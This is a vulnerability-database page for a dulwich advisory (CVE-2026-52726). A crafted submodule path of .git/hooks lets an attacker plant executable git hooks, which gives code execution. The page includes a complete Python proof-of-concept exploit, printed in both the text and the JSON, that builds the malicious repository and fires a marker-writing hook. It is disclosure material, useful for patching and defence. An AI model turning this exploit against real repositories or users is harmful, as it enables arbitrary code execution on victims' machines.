Vulnerability-Lookup

GHSA-GFHV-VQV2-4544

Vulnerability from github – Published: 2026-07-02 17:50 – Updated: 2026-07-02 17:50

Summary

Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

Details

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

Package: dulwich (PyPI)
Affected versions: >=0.23.2, <1.2.5
Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points: - dulwich.porcelain.submodule_update(repo, init=True, recursive=True) - dulwich.porcelain.clone(source, target, recurse_submodules=True) - dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dulwich"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.2"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:50:00Z",
    "nvd_published_at": "2026-06-10T23:16:50Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository\u0027s `.git` directory) causes the attacker\u0027s submodule tree contents to be written directly into the victim\u0027s `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution.\n\nThis is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich\u0027s separately implemented submodule porcelain.\n\n### Affected\n\n- **Package:** `dulwich` (PyPI)\n- **Affected versions:** `\u003e=0.23.2, \u003c1.2.5`\n- **Affected platforms:** all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal `.git/hooks` rather than a case- or short-name-aliased form.\n\nAffected entry points:\n- `dulwich.porcelain.submodule_update(repo, init=True, recursive=True)`\n- `dulwich.porcelain.clone(source, target, recurse_submodules=True)`\n- `dulwich submodule update` CLI / `dulwich clone --recurse-submodules` CLI\n\n### Vulnerable code\n\nThe submodule path from the tree\u0027s gitlink entry (and matching `.gitmodules`) is consumed without validation in [`dulwich/porcelain/submodule.py`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe attacker-controlled `path` enters the loop from `iter_cached_submodules` ([`submodule.py#L154-L168`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L168)):\n\n```python\nfor path, target_sha in submodules_to_update:\n    path_str = (\n        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path\n    )\n\n    submodule_name: bytes | None = None\n    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):\n        if sm_path == path:\n            submodule_name = sm_name\n            break\n\n    if not submodule_name:\n        continue\n```\n\nIt flows unchecked into `os.path.join` and the filesystem ([`submodule.py#L187-L188`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L187-L188)):\n\n```python\n            submodule_path = os.path.join(r.path, path_str)\n            submodule_git_dir = os.path.join(r.controldir(), \"modules\", path_str)\n```\n\nFinally, the attacker tree\u0027s contents are materialized into that directory via `build_index_from_tree` with no `validate_path_element` argument, defaulting to the lax validator ([`submodule.py#L229-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L229-L234)):\n\n```python\n                    build_index_from_tree(\n                        submodule_path,\n                        sub_repo.index_path(),\n                        sub_repo.object_store,\n                        tree_id,\n                    )\n```\n\nThree issues compound:\n\n1. `path_str` originates from the parent repository\u0027s tree gitlink entry (attacker-controlled) and is never validated against `.git`, `..`, or other path-traversal patterns. The same value is read from the attacker-supplied `.gitmodules` blob via [`read_submodules`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/config.py#L1637-L1665), which also performs no validation.\n2. `submodule_path = os.path.join(r.path, path_str)` therefore resolves to an attacker-chosen directory anywhere on disk (e.g. `\u003cworktree\u003e/.git/hooks`).\n3. [`build_index_from_tree`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/index.py#L2034-L2044) is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent\u0027s `.git` directory, and it honors the attacker tree\u0027s file modes including executable bits (`0o100755`).\n\n### Reachability\n\nA direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at [`dulwich/porcelain/__init__.py:1548-1551`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/__init__.py#L1548-L1551) calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at [`submodule.py#L154-L234`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/porcelain/submodule.py#L154-L234).\n\nThe CLI command `dulwich clone --recurse-submodules \u003curl\u003e` reaches the same sink via [`dulwich/cli.py:2131`](https://github.com/jelmer/dulwich/blob/8efb7d19eac519cd7fac39e79ca354327897e133/dulwich/cli.py#L2131).\n\nAny service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server \"fetch dependency from git\" features.\n\n### Proof of concept\n\nEnd-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action.\n\n```python\nimport os, tempfile, subprocess\nimport dulwich.repo as r\nimport dulwich.porcelain as p\nfrom dulwich.objects import Blob, Commit, Tree\n\nWORKDIR = tempfile.mkdtemp(prefix=\"dulwich-poc-\")\nATTACKER = os.path.join(WORKDIR, \"att.git\")\nVICTIM_PARENT = os.path.join(WORKDIR, \"vic_parent.git\")\nVICTIM_WT = os.path.join(WORKDIR, \"vic_wt\")\nMARKER = os.path.join(WORKDIR, \"marker\")\n\n# Attacker submodule contains a single file named \"post-checkout\"\n# with mode 0755 and a benign shell payload that writes a marker file.\nattacker = r.Repo.init_bare(ATTACKER, mkdir=True)\npayload = b\"#!/bin/sh\\necho executed \u003e \" + MARKER.encode() + b\"\\n\"\npb = Blob.from_string(payload)\nattacker.object_store.add_object(pb)\nat = Tree()\nat.add(b\"post-checkout\", 0o100755, pb.id)\nattacker.object_store.add_object(at)\nac = Commit()\nac.tree = at.id\nac.author = ac.committer = b\"a \u003ca@a\u003e\"\nac.author_time = ac.commit_time = 0\nac.author_timezone = ac.commit_timezone = 0\nac.message = b\"x\"\nattacker.object_store.add_object(ac)\nattacker.refs[b\"refs/heads/master\"] = ac.id\nattacker.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Victim parent has a .gitmodules and a tree gitlink, both pointing at\n# path \".git/hooks\". The gitlink targets the attacker submodule commit.\nvictim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)\ngitmod = (\n    b\u0027[submodule \"evil\"]\\n\u0027\n    b\u0027\\tpath = .git/hooks\\n\u0027\n    b\u0027\\turl = \u0027 + ATTACKER.encode() + b\u0027\\n\u0027\n)\ngmb = Blob.from_string(gitmod)\nvictim.object_store.add_object(gmb)\nvt = Tree()\nvt.add(b\".gitmodules\", 0o100644, gmb.id)\nvt.add(b\".git/hooks\", 0o160000, ac.id)\nvictim.object_store.add_object(vt)\nvc = Commit()\nvc.tree = vt.id\nvc.author = vc.committer = b\"a \u003ca@a\u003e\"\nvc.author_time = vc.commit_time = 0\nvc.author_timezone = vc.commit_timezone = 0\nvc.message = b\"v\"\nvictim.object_store.add_object(vc)\nvictim.refs[b\"refs/heads/master\"] = vc.id\nvictim.refs.set_symbolic_ref(b\"HEAD\", b\"refs/heads/master\")\n\n# Single victim call: clone with recurse_submodules=True\np.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)\n\nhook = os.path.join(VICTIM_WT, \".git\", \"hooks\", \"post-checkout\")\nassert os.path.exists(hook), \"hook was not written\"\nassert os.stat(hook).st_mode \u0026 0o111, \"hook is not executable\"\n\n# git running in the victim worktree then executes the dropped hook\nsubprocess.run([\"git\", \"-C\", VICTIM_WT, \"checkout\", \"master\"], check=True,\n               capture_output=True)\nassert os.path.exists(MARKER), \"hook did not fire\"\nprint(\"Code execution confirmed:\", open(MARKER).read().strip())\n```\n\nThe trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (`post-checkout`, `pre-commit`, `post-merge`, `post-rewrite`, `post-applypatch`, and others). dulwich itself executes several hooks (`pre-commit`, `commit-msg`, `post-commit`, `pre-receive`, `update`, `post-receive`; see `dulwich/hooks.py` and `dulwich/repo.py`), so a victim using only dulwich is also reachable without upstream Git.\n\n### Credit\n\ntonghuaroot",
  "id": "GHSA-gfhv-vqv2-4544",
  "modified": "2026-07-02T17:50:01Z",
  "published": "2026-07-02T17:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52726"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jelmer/dulwich"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dulwich\u0027s submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload"
}

CVE-2026-52726 (GCVE-0-2026-52726)

Vulnerability from cvelistv5 – Published: 2026-06-10 22:13 – Updated: 2026-06-11 12:55

Title

Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

Summary

Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.23.2 and prior to version 1.2.5, `dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution. This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain. Version 1.2.5 patches the issue.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/jelmer/dulwich/security/adviso…	x_refsource_CONFIRM
https://github.com/jelmer/dulwich/releases/tag/du…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
jelmer	dulwich	Affected: >= 0.23.2, < 1.2.5

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-52726",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-11T12:54:26.026132Z",
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        "references": [
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            "tags": [
              "exploit"
            ],
            "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dulwich",
          "vendor": "jelmer",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.23.2, \u003c 1.2.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.23.2 and prior to version 1.2.5, `dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository\u0027s `.git` directory) causes the attacker\u0027s submodule tree contents to be written directly into the victim\u0027s `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution. This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich\u0027s separately implemented submodule porcelain. Version 1.2.5 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-10T22:13:33.320Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
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      "references": [
        {
          "name": "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-gfhv-vqv2-4544"
        },
        {
          "name": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5"
        }
      ],
      "source": {
        "advisory": "GHSA-gfhv-vqv2-4544",
        "discovery": "UNKNOWN"
      },
      "title": "Dulwich\u0027s submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52726",
    "datePublished": "2026-06-10T22:13:33.320Z",
    "dateReserved": "2026-06-08T14:00:43.571Z",
    "dateUpdated": "2026-06-11T12:55:09.309Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-GFHV-VQV2-4544

Summary

Affected

Vulnerable code

Reachability

Proof of concept

Credit

CVE-2026-52726 (GCVE-0-2026-52726)

Tags

Sightings

Nomenclature